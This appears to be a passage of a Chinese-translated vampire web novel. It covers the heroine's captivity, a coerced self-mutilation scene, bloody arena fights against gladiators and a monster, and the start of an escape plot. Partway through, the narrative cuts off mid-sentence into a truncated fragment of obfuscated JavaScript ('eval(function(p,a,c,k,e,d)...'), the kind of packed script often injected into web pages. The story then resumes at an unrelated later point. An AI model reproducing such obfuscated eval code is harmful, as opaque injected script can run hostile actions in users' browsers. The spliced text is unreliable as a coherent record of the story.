“我打算砍掉我的胳膊。” “哦。哦！这越来越有意思了。我真该感谢你今晚的表演，亲爱的，我花大价钱看表演都没这么开心过。你居然真的打算自残？” “我……我知道我们的肢体可以再生！” “理论上没错，但这完全不相干，跟我想的一样。你根本不明白你现在的处境。你不是吞噬者真正的后代，被力量和饥渴冲昏头脑。你只是个被主人抛弃的迷路小吸血鬼，还以为自己够坚强，能想尽办法逃跑。你不行，既然我是个仁慈的主人，现在就来教教你。” 她走到我身边，从长袍的暗袋里拿出一把邪恶的匕首。这把武器让人胆寒。它黑得像黑曜石，形状怪异弯曲。我从没见过这样的匕首，但只看一眼就知道，这是用来杀人类的。 她举起匕首，我畏缩了一下，但她只是解开了我的手，然后去掉了手铐。我身体的其他部分还被绑着。 “嗯，我都快忘了你这股臭味。这只能怪我自己。不管怎样，拿着。” 她把匕首刀柄递给我，我想都没想就接了过来。我可以直接割断剩下的绳子，然后找点血喝…… “现在就把你的胳膊砍下来，我就让你吸干一个人的血，然后还你自由。” “什么？！” “你没听错。要是你能成功砍掉胳膊，就可以走。这是我的匕首。它能砍断金属。就算是没受过训练的凡人，用它砍两下也能砍下敌人的脑袋，砍条胳膊更是小菜一碟。” 尽管被饥渴弄得麻木，但我心里还是充满了怀疑。真有这么简单？ “没有陷阱。来吧。试试。” 我伸出左臂，握紧匕首，这才意识到问题所在。 我害怕疼痛。 过去几个月我受了很多苦，有人可能觉得我应该习惯了。但并没有。我不想受伤。我不想流血。 但我必须试试。我得这么做。这是我获得自由的最好机会。我看向旁边的吸血鬼长老。她脸上带着耐心又略带轻蔑的神情。她似乎很确定我做不到。 我会让她看看的。 我深吸一口气我深吸一口气，咬紧牙关，拼尽全力，以最快的速度挥刀砍去。我想在大脑反应过来之前，就完成这一挥砍。 我的手落下，开始颤抖。 哦，我的天哪。 “啊啊啊啊啊啊啊！” 我动弹不得，大脑一片空白，只剩剧痛。刀刃卡在骨头里，陷得很深。 我惨叫着，紧紧握住胳膊，匕首还插在上面，持续了好一会儿。这剧痛让我的脑海里除了这钻心的疼痛，再无其他。世界仿佛变成了一片白茫茫，只剩下无尽的痛苦。 终于，另一个声音透过我干涩的抽泣声传了过来。 “嗯，你好歹砍到骨头了。来，我帮你一把。” 一只手用力把匕首往下一压，伴随着一声脆响，我疼得晕了过去。等我再次醒来，匕首已经砍进胳膊一半了。鲜血缓缓渗到满是污渍的床单上，四周只剩下我微弱的呜咽声。 “你已经完成一半了，不过说实在的，这还算是容易的一半。那么，你还要继续吗？慢慢来。” 实在是太疼了，疼得难以忍受，而且我又极度饥渴。我应该继续，但我真的做不到。疼得太厉害了。 我可不是故事里那种能无视痛苦和困境的英雄。我没那么坚强。 我不想再继续了，不想再承受这种折磨。 看来只能指望卡迪兹（Cadiz）了。 我还算幸运，摩尔夫人放弃了彻底审讯我，转而选择羞辱我。目前来看，被她轻视似乎成了我最大的“优势”。我本应该为自己感到难过，但此刻我疼得根本顾不上这些。 “我把匕首拔出来？” 我点点头。是的，求求你了，快让这一切都结束吧，让所有痛苦都停下来。我想哭，但我还是紧紧抓着仅存的那点尊严不放。 摩尔夫人拔出了匕首，不得不说，她拔得很干脆。伤口没有愈合，我徒劳地捧着受伤的胳膊，试图阻止更多宝贵的鲜血流失。我太渴了，真的快受不了了。 她把我拖到牛棚，我先后吸食了两个受害者的鲜血。 有些事情发生了变化。 我注意到，在我精神世界之外，天空已经变黑了。或许我应该感到担忧，可一个吸血鬼怎么会觉得日光让人安心呢？这都是我应得的。 吸食完后，摩尔夫人又把我拖回屋里，扔在地毯上。我听到哈罗德在楼梯上看着我，还偷偷笑了一声。那些人像豺狼一样，总是热衷于看别人出丑。 “我尽心尽力的梅露辛（Melusine）想把你培养成一个得体的侍从，可你却宁愿和那些下等人混在一起。现在，除非你想帮忙准备‘挑战仪式’（Gauntlet），否则就去做更适合你的事，更确切地说，去卖身吧。” “挑战仪式。”我沙哑地说道。 “你说什么？” “挑战仪式。”我更加坚定地重复了一遍。不管那是什么，总比她现在给我安排的命运要强。 如果摩尔夫人因为我的拒绝而生气，我也没从她脸上看出任何迹象。 “好吧。那就去参加挑战仪式。” 11. 血斗竞技场 我原以为自己对兰开斯特家族的各类生意了如指掌，可我错了。我利用能自由出入鲍杜安办公室的机会，偷偷复印了一些文件，其中甚至还有用古英语撰写、呈递给兰开斯特家族首领的季度报告。 我知晓他们的种植园、工厂和仓库，也清楚那些旅馆和妓院的情况。我了解他们从事的奴隶买卖和皮肉生意，甚至还知道他们偶尔会进行走私活动。当然，为了逃税，他们肯定还藏着些别的勾当，所以我之前并不知道他们还有血腥娱乐这一摊子事。 新奥尔良的地主阶层真是让人大失所望。他们那些古怪的癖好催生了对极其残忍血腥表演的需求。每周有两到三次，男人，有时甚至还有女人，会得到这样一个机会：只要参加一晚的搏斗，就可以免除债务或刑罚——当然，前提是他们能活下来。 那些身着昂贵西装、戴着多米诺面具的先生女士们，会乘坐马车前往兰开斯特家族的一处别墅。他们穿过修剪整齐的草地迷宫，在希腊式露天剧场的斜坡上坐下，一边享用茶点，一边观看表演。一个穿着长袍、戴着全脸头盔的表演者会大声宣布当晚的节目单。 竞技场还雇了一些职业拳击手，来保证杀戮表演能有一定的“质量”。 “嘶……” 我缓缓地呼吸着。我其实已经不需要空气了，但呼吸的节奏能让我平静下来，帮我保持专注。 小木屋里面变样了。它不再像我小时候记忆中那样大得离谱，只是空间更宽敞了些，还摆着几样像模像样的家具。以前的小床变成了带床幔的大床，让我想起了自己没变成现在这副模样之前睡的床。 木柴燃烧的烟味和清新的雨水味，还是和以前一样浓烈。我让月光透过敞开的窗户洒在我的皮肤上，凝视着窗外那片一望无际、长满荆棘的树林。我叫不出这些树的名字，它们看起来应该很吓人，但我却觉得很有安全感。没人能穿过这片树林来伤害我，他们要是敢来，肯定会在这迷宫般的森林里被撕成血淋淋的碎片。 我还没有踏出这扇门，我还没准备好。 我继续呼吸着，一呼一吸，一呼一吸。我只需要再坚持一会儿。我绝不能再让 thirst（文中未明确解释，可能是吸血鬼对鲜血渴望的一种指代）驱使我去撞那些牢笼了。 我已经在这儿待了两周，那种冲动只发作过两次。 一阵叮当声打断了我的沉思。哈罗德打开了我牢房的门。我能感觉到他那饥渴的目光在我身上打量，我再次感激鲍杜安临别时的叮嘱。他明确指示过，不许任何人对我有不当的举动，这个男吸血鬼至今还没有违抗过这条命令。 等我把他们都杀光的时候，我会确保那个凡人死得没有痛苦。 “时间到了。”这个粗人说道。 我调整了一下半面具，紧了紧身上的皮甲。这些都是我在公众面前的装扮。对观众来说，我是一个被诅咒、嗜血的喜马拉雅部落女子，战斗时从不使用武器。 没错。 我永远也想不明白，他们怎么会相信这么荒谬的设定。 我们沿着一条短走廊走到竞技场的门口。谢天谢地，哈罗德一路上都没说话。 再坚持几分钟就好，我能行。 大门打开，我跨过门槛。夜晚的空气中弥漫着汗水、兴奋、沙尘和陈腐的血腥味。在我面前，一个穿着苏格兰短裙、戴着古代头盔的壮汉，正用一块沾满污渍的布擦拭着受伤的肩膀。不远处，躺着一只饿死的狼的尸体。 “女士们，先生们！德米特里厄斯赢得了他女儿的自由，他能再次创造奇迹，为他的家人赢得自由吗？在今晚，面对这头血腥野兽，你们会赐予他胜利的祝福吗？” 真是够了。 我抬头望向天空，看到了那团紫色的“沉默守望者”（文中未明确解释，可能是一种神秘的存在）。当我察觉到它的存在时，那扭曲的天空仿佛离我更近了。 它并不评判什么。这是我此刻能感知到的全部，而这也正是我现在所需要的。我沐浴在那神秘的光芒中，品味着那只巨眼（“沉默守望者”的眼睛，此处是一种形象的说法）纯粹的意图。 那强烈的 thirst 暂时退到了脑后，哪怕只有一瞬间。我唯一珍视的伙伴，是天空中那只巨大的眼睛。这足以说明我现在的处境有多悲惨。 “五条命，他已经丢了五条命，还有人愿意再给他一条吗？没有？那就五条命！现在，让游戏开始！” 那个男人抓起一把三叉戟，这时我才注意到地上有一张被丢弃的网。鲍杜安肯定是想营造罗马角斗场的氛围，我认出那个男人的装扮是罗马角斗士中的“网斗士”（Retiarius）。这么说来，哈罗德就是“主持者”（Lannista，罗马竞技场中的司仪），而我就像个傻瓜一样被卷入这场闹剧。 那个男人怒吼着向我冲来，笨拙地挥舞着三叉戟。我轻松地把三叉戟的杆子拨到一边，然后用爪子刺进他肩膀的伤口，接着迅速跳开。 我故意舔了舔沾满鲜血的手指，好让所有人都看到。 “才刚开始，就已经丢了一条命！血腥野兽又给大家上了一课！” 那个男人痛苦地嚎叫着。观众们则大声叫好。我好想把这个猎物吃掉，他的血闻起来太香甜了。恐惧会让鲜血充满生机，就是这种味道。 我必须保持耐心。 我的对手们有“生命值”。我不能直接给他们致命一击，只能不断地伤害他们，直到他们的生命值耗尽。观众们可以扔钱为某个参赛者购买额外的生命值，也可以花同样多的钱来扣除对手的生命值。 对他们来说，只要能让我流血就算赢。 但对我来说，这场游戏有点不一样。我只要动一动，就能瞬间结束这场战斗。然而，我有两个目标：一是给观众带来娱乐，二是尽可能少地消耗自己的体力。如果我能让观众兴奋起来，哈罗德就会让我多吸食一会儿战败者的鲜血。在没有比赛的日子里，“食物”（这里指供其吸血的人）也会来得更快一些。 但要是我输了，或者打得太快、太残忍，等待我的就是痛苦和那难以抑制的 thirst。 要是哈罗德无故惩罚我，我就会立刻杀了我的对手。 我们之间维持着一种恐怖的平衡。我成功地让自己变得太有价值而不能被杀，同时又太难控制。 那个失败的“网斗士”终于缓过劲来，双手紧紧握住三叉戟，就像握着一把超大号的剑。他威胁地朝我挥舞了几下，但我没有动。我现在已经能轻易看穿这些明显的假动作了。他失去了耐心，朝我的头挥来，我向下一蹲，然后向前冲，缩短了我们之间的距离。 他反应很快，立刻扔掉了那把笨重的武器，向前一拳打来。他现在速度快多了，我勉强才挡住这一拳。冲击力把我往后推，我的手臂有点刺痛。他紧接着朝我扑来，但这次我早有准备。我侧身躲开他的猛冲，在他经过的时候，用爪子刺进了他的侧腹。没有刺得太深。 我高高举起一根手指，那个男人和观众同时发出怒吼。我又舔了舔手指。嗯，我快忍不住了。 “两条命没了！德米特里厄斯的希望是不是正在迅速破灭？他能让这个怪物流血吗？” “怪物”这个词是主持人给我的暗示，让我放慢节奏，把这场战斗拖得久一点。我太渴了，他们就不能理解一下吗？ 德米特里厄斯站起来的时候，一个重物“砰”的一声落在他脚边。整个竞技场瞬间安静下来。 往竞技场里扔东西，尤其是武器，是会被驱逐出场的，谁这么大胆…… 啊。 一个穿着蓝色连衣裙、戴着方格面具的小个子女人朝我挥了挥手。她一头深红色的头发随着她的笑声上下跳动。 梅露辛。 主持人比我反应更快。 “夫人！您是要给德米特里厄斯祝福吗？” 她懒洋洋地挥了挥手，然后坐下。她这一打发人的举动做得太自然了，所有人的注意力都回到了德米特里厄斯身上，逼得他不得不有所行动。 “很好！德米特里厄斯，你得到了第二次机会。可别让这些尊贵的观众失望！” 我目瞪口呆地看着这个角斗士捡起那把巨大的刀，又从靴子里抽出另一把。看来，他不再是“网斗士”了，而是双剑士（Dimachaerus）？如果我没记错的话，双剑士就是用两把剑战斗的角斗士。 我在对手面前往后退。很明显，他知道怎么用这两把剑。他的姿势变了，看起来自信满满。我找不到任何破绽。我躲开了他的一次劈砍，又躲开一次。 第三次，我试图抓住他的手臂，但他的另一把剑迅速刺来。我差一点就被划伤了。他的动作更加保守，但也更有效率。 梅露辛违反规则，就是为了让这场战斗变得更艰难。我很清楚，她就算犯了这样的错，也只会被轻轻责备一下。 我向旁边一闪，然后向左冲刺。德米特里厄斯轻松地跟上了我，我突然转身，向前冲去。他没料到我会突然改变方向，踉跄了一下。他身形庞大，很难快速转向。我从他身边经过的时候，他挥剑砍来。剑擦着我的皮甲划过，只是一道轻微的擦伤，没有流血。 我向前一滚，捡起了那把被丢弃的三叉戟。他再次朝我扑来时，我挥动这把巨大的武器，狠狠地砸在他的侧身上。他像一堆烂泥一样倒在地上。 观众们大声欢呼，为我这还算机灵的反应而高兴。 “哦哦哦，看来我们勇敢的德米特里厄斯还是小瞧了这位血腥少女！三条命没了，还剩两条！” 我舔了舔三叉戟的尖端，上面只有一点点血，不够锋利。快了，再等等。 “那三叉戟不是你的。” 梅露辛的声音再次让陶醉在这场血腥表演中的观众安静下来。 哦不，她不会还想搞什么幺蛾子吧。 我不能说话，于是我把戴着面具的头歪向一边，像拿标枪一样握住三叉戟，朝她扔了过去。 梅露辛透过方格面具，难以置信地瞪大了眼睛。她勉强向旁边一闪，三叉戟“哐当”一声，狠狠地砸在她身后的石头上。我是故意把三叉戟的杆子那头扔过去的，以防伤到她。 没错，现在它是你的了。看你还能怎么折腾，你这个让人讨厌的老巫婆的女儿。 梅露辛气得浑身发抖，但她已经为了自己的乐趣违反了两次规则。她现在处境不妙，她心里也清楚。她怒气冲冲地坐了回去，我则轻蔑地瞥了一眼躺在地上的角斗士。 我故意让她看到我的不屑。 等我的怒火渐渐平息，thirst 又一次占据了我的身心。等待的过程是最煎熬的。我很容易就会被这种渴望分散注意力，但我必须找点事情来集中精力。 我走了几步，做好准备后，站在了气喘吁吁的角斗士面前。 我等着，也许我把他的肋骨打断了？ “你这个婊子！” 他们总是用这些老掉牙的脏话骂人。什么没胆的娘们、没用的窝囊废、愚蠢的白痴，就不能换点花样吗？难道没人告诉过他们，多样化才是生活的调味剂吗？ “为了我的儿子！”他一边说着，一边站了起来，声音大得所有人都能听见。 观众们爆发出一阵欢呼声。这一刻的场景，在他们扭曲的脑海中定格。 在他们眼里，这个罪犯有着一颗善良的心，为了家人的自由而战。而我，是来自远古部落的冷酷少女，是那个古老世界的残余，在那个世界里，女性也能像她们的言辞一样犀利地挥舞着利刃。 我才不在乎这些。我是阿丽亚娜，我只属于我自己。我要活下去，我要回家。所有挡我路的人，不管是圣人还是罪犯，我都会把他们吞噬。 那个男人又朝我冲了过来，但他的速度明显慢了下来。我轻松地向后和向旁边移动，躲开了他的攻击。为了逗观众开心，我甚至把手背在身后。最后，他把我逼到了角落，然后用力过猛，我趁机拿出一直藏着的网，朝他扔了过去。 扔网可是一门艺术，你得确保它落下的时候尽可能地展开。 德米特里厄斯惊慌地往后退，本能地举起了手。网完美地缠住了他，我用爪子在他的左脸颊上划了一道。没错，这场闹剧终于要结束了。 现在观众们都安静下来，等待着最后一幕的上演。这个绝望的男人挣扎了一会儿，终于挣脱了网。他立刻怒吼着朝我冲了过来。我站在原地，观众们都屏住呼吸，紧张地看着。当他的刀快要刺到我的时候，我向后退了一步，抓住他的双臂，然后向后一倒，用脚抵住他的腹部，用力一推。 这招还挺好用。 这个大块头像脱轨的火车头一样飞了出去，“哐当”一声撞在竞技场的墙上。我立刻扑了上去，用一条腿锁住他的一只手臂，用右手抓住他的另一只手臂。我把他的头往后拉，狠狠地咬了下去。 终于。 等等，不对！我闻到了那股熟悉的恶臭！那个叫贾斯珀的流氓也用过同样的东西！这怎么…… 是法师的药水？怎么会？什么时候的事？ 我看到地上有一个小玻璃瓶。他肯定是在网下面挣扎的时候喝了这个。但谁会给他这种东西呢？ 我吐了出来，愤怒地转身，用手指着梅露辛。她刚才一直前倾着身子，一脸期待！我就知道是她！ “你这个贱人！你弄脏了这鲜血！” 观众们开始窃窃私语，声音越来越大。她怎么敢！她怎么敢污染这珍贵的鲜血！ 护腕传来的疼痛让我瘫倒在地。哈罗德走过来，把我抱起来，然后退回到走廊里。 我需要鲜血。我太需要了，太需要了，太需要了。 哈罗德又给我带来一个囚犯，我费了好大的劲才忍住，没当场把这个呜咽的家伙给杀了。 两周后 梅露辛不见了踪影，我猜她肯定是因为之前那次愚蠢的举动被训诫了。战斗还是很艰难，但我能得到足够的食物，勉强能保持理智吧。 三周后 和我对战的是一个头发花白的法国老水手，他的鼻子因为多次骨折而塌了下去。 “不，你得动作再灵活点。我来教你。” 马吕斯很受观众欢迎，尤其是当他把一支可笑的鱼叉当长矛用的时候。他打架不择手段，我从他身上学到了不少东西。今晚没有比赛，我想跟他学几个小技巧。天知道我得多学点本事。虽然这么做不太淑女，但为了活下去，我什么都愿意尝试。 四周后 马吕斯死了。比赛结束后，一个输红了眼的债务人从背后捅死了他。不过从好的方面想，我把那个无耻之徒的血吸干了。又来了一个新的角斗士，是个意大利混混，他教了我怎么用刀。 五周后 这个意大利混混因为刀法娴熟、长相帅气，在丧偶的女性观众中很受欢迎，还得了个“贝内代蒂”的名号。因为他，我的比赛少了一些。我们这儿还来了个苦力，叫“龙”。他自称是个“武术家”。他动作很灵活，但打架太规矩了。 六周后 我最近输了一场比赛，对手是一个不顾一切的角斗士，据说还是个有点名气的骑兵。他用了一招自杀式攻击，刺伤了我的手臂。观众们很喜欢这场比赛。我觉得他甚至有可能活下来。 七周后 我醒来，看到了熟悉的红色砖墙天花板。确切地说，上面有四百九十六块砖。在这里，娱乐活动少得可怜。 我的牢房由三面砖墙和一面铁栅栏组成，这样我的囚禁者就能把我的一举一动都看得清清楚楚。唯一值得庆幸的是，我不用去厕所，保持清洁也不费什么事。我这个年轻的吸血鬼可没有汗臭的腋窝，也不会有死皮，更不会有生理期的麻烦。 每次比赛结束后，都有一个吓坏了的女仆帮我清洗服装。我很少有脱衣服的机会，而且到目前为止，我每次都能以最快的速度洗完澡，避免被别人看到。 “我是阿丽亚娜，我只属于我自己，我要活下去，我要回家。” 我每天晚上都会重复这句话，尽管最近我心里已经没那么坚定了。在我醒来发现自己没有脉搏之后，我以为有些事这辈子都不可能做到了，但我现在却做到了一些。 我很无聊。 理智上，我知道自己处于极度危险之中。我也清楚自己是个囚犯，但我的生活却变得一成不变。几乎没什么变化。有时候，因为表现良好，他们会放我出去和其他角斗士一起训练。 我学会了更好地移动，知道了身体的弱点和极限，但这些训练加起来也不过一个小时。有时候，我会参加比赛，虽然比赛还挺刺激的，但结束得太快了。剩下的时间，我无事可做。 我要了一本书，他们却给我送了本《圣经》。我猜他们这是在粗俗地开玩笑。我还记得加百利教团那些人身上的十字架，以及它们对我的可怕影响。然而我翻开自己这本《圣经》时，尽管封面上有神圣的标志，却什么事也没发生。 我本以为，既然我已经知晓世上存在超自然生物，那么阅读这本最庄严的著作，或许能让我对世界有新的认识。可惜，我没发现什么有意思的内容。书里似乎大多是关于谁生了谁、哪个部落在哪里扎营之类的叙述，真是令人失望。 这时，两组脚步声朝我的牢门走来。哈罗德出现了，他拽着一个不情愿的女仆。他打开门，把女仆推进来。我缓缓走近，她主动露出脖子，但当我靠近时，她突然抓住我的胳膊。 我没有露出任何惊讶的神色，等一切结束，她一言不发地离开了。我打开她塞到我手里的纸条，上面写着：别让他变身。 纸条上没有署名，我也认不出这些方方正正的字是谁写的。不一会儿，哈罗德拿着一副新的铠甲回来了，这次没有头盔。 “穿上，动作快点。” 我朝竞技场走去，感觉有些异样。冬天到了，空气变得更冷，也更安静，观众们的低语和笑声都消失了。当我的脚踩在沙地上时，我惊讶地环顾四周。 原本喧闹的观众席上，此刻坐着的是那些所谓的“恩主”。摩尔夫人坐在中间的一张舒适王座上，鲍杜安和梅露辛分别坐在她两侧。那个红头发的坏女人正幸灾乐祸地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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怪物转过身，朝我刚才站的地方挥了一爪子，差一点就抓到我了。这东西速度很快，要是我不全力移动，几乎和我一样快。不过，我现在可不想再表演什么节目了。 我吃得很饱，不用再手下留情。 我激发了内心深处的兽性，那种不顾一切的捕食本能占据了上风。兰开斯特家族的人、锁住我的门，一切都消失了。此刻，我的世界里只有我和眼前的猎物。 这猎物体型巨大、皮糙肉厚，必须给它致命一击，绝不能再拖延。 怪物再次向我冲来，这次它在离我还有一段距离的地方停下，朝我的 torso（躯干）猛挥爪子。我跳起来躲避，用的是之前对付那个法师时的跳跃技巧。 怪物扑空了，但它的手臂擦到了我的腿，让我偏离了方向。我好不容易在它脑袋侧面划了一下，然后又落到它身后。这次，怪物痛苦地嚎叫起来，伸手去摸被我抓伤的左眼。我没有犹豫，跳到它身上，双手死死地掐住它的脖子，用力一拉。 然而，毫无用处。 我的爪子陷在它坚硬如石的皮肤里，怎么也拔不出来。我挣扎了片刻，却无济于事，紧接着，怪物的爪子击中了我的腹部，把我甩了出去。 我听到一阵可怕的撕裂声，先是我的爪子从它动脉上被扯下来，接着是我的身体被抛飞出去时发出的声音。 那些流出来的是我的内脏吗？ 天哪，真的是，天哪，天哪，这…… 这不对劲。 我惊恐万分，一边拼命把内脏往回塞，一边看着那怪物咳嗽、喘气。我刚差不多塞好，它又朝我转过身来。 阿丽亚娜，别去想触摸自己内脏是什么感觉，别想！啊！ 怪物又跳了起来。好多血！它刚才和我扭打的时候，把自己的喉咙划破了。 我只要再坚持一会儿就好！ 它一步步朝我逼近，然后…… 嗯，这股味道太诱人了！ 我要享用它。 怪物朝我扑来，发动攻击。今晚这是第三次，也是最后一次，我开始躲避它的攻击，一只手还紧紧捂着肚子。但最终，我还是踉跄了一下。 怎么回事？为什么？ 我低头看着自己满是鲜血的身体，伤口根本没有愈合的迹象，我在不停地流血！ 趁我分心，怪物抓住我的左臂，用力一拉。剧痛再次袭来，我感觉有东西从身体里被扯了出来。它力气太大了！我好不容易抬起右手，它的另一只手臂便死死地夹住我的 torso。 这疼痛几乎要让我昏过去，是内心的恐惧和求生的意志让我没有倒下。 它张开血盆大口，里面长满了锯齿状的獠牙。 天哪！它要吃了我！ 不！ 我伸手抓住它的下巴，用力把它的嘴往我这边拉。怪物一口咬住了我的手指，又一阵剧痛传来，但这给了我足够的时间。它没想到猎物会主动靠近。 我的嘴贴在它脖子上的伤口处，开始吸血。怪物颤抖起来，但一切都太晚了。 一股前所未有的力量和生命力涌入我的脑海。我没时间去想小木屋，也没时间做任何准备，整个人完全沉浸其中。 夜晚，狩猎的时刻。在满月的照耀下，我看到山谷里有个可怕的东西正在吞噬一个孩子！我举枪射击。它朝我扑来，我转身就跑。我跑到一所房子前，找到地窖的门。有东西咬住了我的脚踝，我转身用刀刺进它的眼睛，然后冲进地窖。那怪物太大了，进不来。 夜晚，狩猎的时刻。鲜血在我的血管里奔腾，我胜利地嚎叫着。那些苍白的猎物和他们可怜的坐骑在我周围被撕成碎片。 清晨，悔恨、悲伤、羞愧涌上心头。我被放逐了。 我松开怪物的尸体，深吸一口气。这感觉太不可思议了！虽然和吸食我主人的血没法比，但这已经是最接近那种感觉的一次了。我听到一阵吸吮的声音，低头一看，在污垢和凝结的血液下面，我的伤口竟然完全愈合了，我毫发无损。 竞技场上一片寂静。梅露辛一脸震惊，摩尔夫人若有所思，鲍杜安则脸色苍白，满头大汗。 “这不公平！夫人，这场比赛应该是平局！”梅露辛喊道。 “除非我看错了，你的‘选手’已经死透了。这怎么能算平局？”摩尔夫人回应道。 “够了！别在大庭广众之下争吵。梅露辛，别犯傻了。愿赌服输，赶紧走吧。” “可是……” 摩尔夫人的身影突然模糊起来，紧接着我听到一声响亮的耳光声，梅露辛的脸被打得偏向一边。她瘫倒在地，咳出了血。 哦。 哦！ 我要把这一刻永远铭记在脑海里，直到世界末日。梅露辛那张漂亮的脸上印着一个巴掌印，鲜血从她那恶毒的嘴里流出来。不管是哪位神灵在眷顾我们吸血鬼，都要赞美您。哈哈！ 一阵极度的困倦像锤子一样向我袭来。我在短时间内吸食了大量鲜血，也受了不少伤。我几乎站不稳了。在被拖走的时候，我抬头望向“沉默守望者”。 “你也看得很开心吧？” 苍白的月光洒在草地上。在半明半暗的光线中，一切都呈现出同样的灰色调，只有几滴鲜红的血迹格外醒目。我得意地笑了笑，扛起冒着烟的火枪。有这么明显的血迹，哪还用得着猎犬？ 我快步向前走去，生怕我的猎物被其他动物捷足先登。那是一只体型巨大的沼泽兔！等我拿回去给爸爸看，肯定能打破他和阿希尔的狩猎记录。阿丽亚娜·雷诺，雷诺家族最伟大的猎手，我来了！ 血迹穿过蕨类植物，消失在灌木丛中，我紧紧跟着。不到一分钟，我就听到树枝折断的声音和痛苦的呜咽声。哈哈，就快到了。 终于，我看到了我的猎物。这兔子可真大啊！ “不，朋友，求你了！你不认识我了吗？” 我拿出猎刀，准备人道地结束它的生命。只要轻轻一划，它就会流血而死。 “不，阿丽亚娜，求求你，阿丽亚娜，我求求你！阿丽亚娜，不要！” 好了，一切都结束了，干净利落。我舔了舔刀上的血，味道好极了。还不错！ 现在我只要把这具尸体带回营地称重就行。等我炫耀够了，就可以让阿希尔帮我把它开膛破肚、剥皮了。 只是这兔子空洞的眼睛有点奇怪，直勾勾地盯着前方，好像…… “啊！” 看在天堂里所有圣徒的份上，这些荒谬的梦到底是怎么回事！太可怕了。谁会在大晚上去沼泽地打猎？简直荒谬。在黑暗中，在沼泽地里瞎逛，肯定会被鳄鱼咬，然后淹死在某个浑浊的池塘里。我死也不会做这种蠢事。 当然，还有梦里我杀了自己最好的朋友这件事。不过，对于这些噩梦，我也没什么好期待的了。 我静静地躺在床上，昨天战斗留下的伤已经完全好了，身体也很干净。虽然我的牢房一点也不舒服，但就这么躺在床上，也有一种别样的惬意。 不出所料，那股对鲜血的渴望又冒了出来。就像时钟一样准时，两组脚步声朝我的牢笼走来。当那个供血者出现在我眼前时，我费了好大的劲才忍住，没高兴得跳起来。牢门打开时，我努力保持镇定，看到供血者悄悄塞给哈罗德一个闪着金光的东西，然后哈罗德就离开了，留下我们单独相处。听到门关上的声音后，我终于忍不住，露出了温暖的笑容。 “晚上好，安特萨。” 加的斯人终于和我联系上了。 12. 重获自由之夜 “很抱歉，小姐。时间紧迫，你必须听我说。” 安特萨温暖的气息轻拂着我的耳畔，我不禁打了个寒颤。我们坐在我的小床上，她的举动让我有些分心。 “我们终于有机会帮你逃走了。不幸的是，必须得在明天行动。你能给我们什么作为回报，好让我们帮你吗？求你了，我的女主人想帮你，但她也有难处。” “一份兰卡斯特家族的产业、合同和人脉清单，这够吗？内容非常详尽。” 安特萨惊讶地瞪大了眼睛。 “真的吗？你收集到了这么多？” “没错。” “可你是个囚犯。你把它藏在安全的地方了吗？” “是的，我会把它给你，但我必须问一句，”我警惕地补充道，“我怎么能确定你不会拿了文件就走？” “阿丽亚娜小姐，你了解我的女主人。你真觉得她会做出那么可耻的事吗？” “我想不会。” “等你吸食完，你可以再问我一次，消除你的疑虑。” “我重获自由后，会不会和你的女主人争夺你的归属呢？” 安特萨轻轻摇了摇头，微笑着说： “求你了，让我们帮你吧。一切都会水落石出的。” 我抱住了这个身材娇小的女人，她顺从地露出了脖颈。光滑无瑕的肌肤映入眼帘，这诱惑实在难以抵挡。我轻舔了一下，她颤抖着呻吟起来。 嗯，这太淫靡了，我现在感觉有点不自在。 “求你了……求你了！”她催促着我。 我这是被骚扰了吗？呸，快点吸食完，别再想这些了！ 当我站在自己的藏身之处时，我意识到了一件不可思议的事。几个月前，我和这个小个子女人建立了一种联系。这意味着希梅娜在这么长时间里都没有碰过她的同伴！这也解释了为什么她能找到我，而且没有被认作其他家族的人。除了我那微薄的印记，她身上没有其他吸血鬼的痕迹。 我只能赞叹这位侍从的克制和这个仆人的忠诚。这也意味着，早在我进入兰卡斯特家族之前，她就已经准备好潜入其中了。我的吸血鬼朋友真是个重情重义的人。我敢肯定，这段分离对她们来说代价巨大。 我在还没吸食到极限之前就松开了嘴。这种经历太过亲密，让我很不自在。安特萨绯红的脸颊和她身上散发的情欲气息足以让我相信，她和希梅娜之间可能存在着同性恋情。天哪。 “再问我一次。” “嗯，你和希梅娜真的打算救我吗？” “是的，明晚你就自由了。我们有个计划。他们会以为你死了，就不会再追捕你了。” “如果可以的话，能告诉我是什么计划吗？” “嗯，我想告诉你，但希梅娜说那样计划就行不通了。” 我还想再问她些问题，但哈罗德的脚步声让我打消了念头。我迅速给她写了一些去我一个藏身之处的路线。时间无所谓。我已经等了六个月了。我还能再等一晚。我几乎能感觉到了。我是阿丽亚娜，我属于我自己，我会活下去。明天，我就回家，重获自由。 我跟着哈罗德在迷宫般的通道里穿行，身上穿着一条裙子，让我想起了梅露辛在我们那场极为短暂的对练中穿的衣服。狱卒每隔五秒就回头看我一眼，对我裸露的手臂皱起眉头。这个吸血鬼可没有戴镣铐！我只能猜测，不管我们要去哪里，我都不能看起来像个奴隶。 哈罗德满心以为我会逃跑。我已经摸清了他的实力，我很清楚自己远没有把握能从他手里逃脱，所以我很有耐心。我不会为了一个愚蠢的计划而危及希梅娜的计划。 没过多久，我登上了一辆马车，车子启程后，我坐了下来。摩尔夫人坐在我对面，身着最华美的白色长袍。她用审视的目光盯着我。我感觉自己像是被衡量、被掂量、被评判着。 “晚上好，阿丽亚娜。” 我微微欠身回礼。吸血鬼的社会残酷无情，却又讲究礼仪。在一个人人都能徒手将别人的脊椎从躯干里扯出来的世界里，礼仪和规矩似乎更加重要。 “摩尔夫人，您好。” “看来我之前看错你了。鲍德温的评价终究还是对的。” 我惊讶地瞪大了眼睛。这听起来像是在称赞，又像是在道歉！或者，至少是这个傲慢自大的蠢货所能给出的最接近称赞和道歉的话了。 他们肯定是走投无路了。 “这就引出了今晚的事。埃孔家族发出了正式挑战，罗兰家族将作为见证方。” “挑战，夫人？” “奴隶贸易越来越猖獗了，那些贪婪的家伙也想分一杯羹。不过这和你没什么关系。” 她满不在乎地挥了挥手。 “作为被挑衅的一方，我们有权选择决斗的形式。你对吸血鬼之间的冲突了解多少？” “一无所知。” “我明白了。我本以为梅露辛会教过你……算了，无所谓了。正式解决冲突的方式有好几种。我敢肯定，夸库很想和我单挑决斗，但我可不会弄脏自己的手，跟那个野蛮人动刀动剑。” 我强烈怀疑“那个野蛮人”会好好教训她一顿，让她知道厉害。 